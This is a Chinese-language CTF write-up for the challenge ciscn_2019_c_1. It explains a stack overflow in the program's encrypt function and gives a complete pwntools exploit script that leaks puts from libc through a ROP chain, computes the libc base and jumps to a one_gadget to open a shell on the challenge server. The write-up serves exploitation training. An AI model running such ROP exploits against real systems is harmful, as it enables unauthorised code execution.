考点
- libc版本泄漏
- ROP攻击
- onegadget使用
解题过程
- 使用
checksec
工具进行查看,程序为64位,NX保护
- 使用ida工具反编译。
main
:
encrypt
:
可以看出程序功能为对输入字符串进行加密,而加密encrypt
函数中的get存在栈溢出漏洞。
- 由于在程序中找不到
system
函数和/bin/sh
字符串,所以需要进行ROP攻击,泄漏其libc地址,使用onegadget工具直接获取shell。
- 使用ROPgadget工具获取泄漏libc地址所需的指令地址(
pop rdi
; ),然后获取程序中put_got表和put_plt表地址,执行栈溢出payload构造如下
1
| payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)
|
注意最后需要加上encrypt函数使程序重新回到漏洞函数处。
- 获取libc基址后,再次进入漏洞函数,然后执行onegadget指令。获取shell。
结果
构造脚本如下
python
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| from pwn import *
context(arch="amd64", log_level="debug")
p = remote("node4.buuoj.cn", 26936)
one_gadget = 0x10a38c pop_rdi = 0x400c83 encrypt = 0x4009A0
elf = ELF('./ciscn_2019_c_1') puts_got = elf.got['puts'] puts_plt = elf.plt['puts']
libc = ELF('./libc-2.27.so') puts_offset = libc.symbols['puts']
payload = flat(b"\0", b"a"*(0x50-1), 0x0, pop_rdi, puts_got, puts_plt, encrypt)
p.sendlineafter(b"Input your choice!", b'1') p.sendlineafter(b'Input your Plaintext to be encrypted', payload) p.recvuntil("\nCiphertext\n\n") puts_addr = p.recv(6) puts_addr = u64(puts_addr.ljust(8, b'\x00')) success(hex(puts_addr)) libc_addr = puts_addr - puts_offset success(hex(libc_addr))
one_gadget = libc_addr + one_gadget
payload = flat(b"\0", b'a'*(0x50-1), 0x0, one_gadget) p.sendlineafter(b"Input your Plaintext to be encrypted", payload)
p.interactive()
|
成功获取flag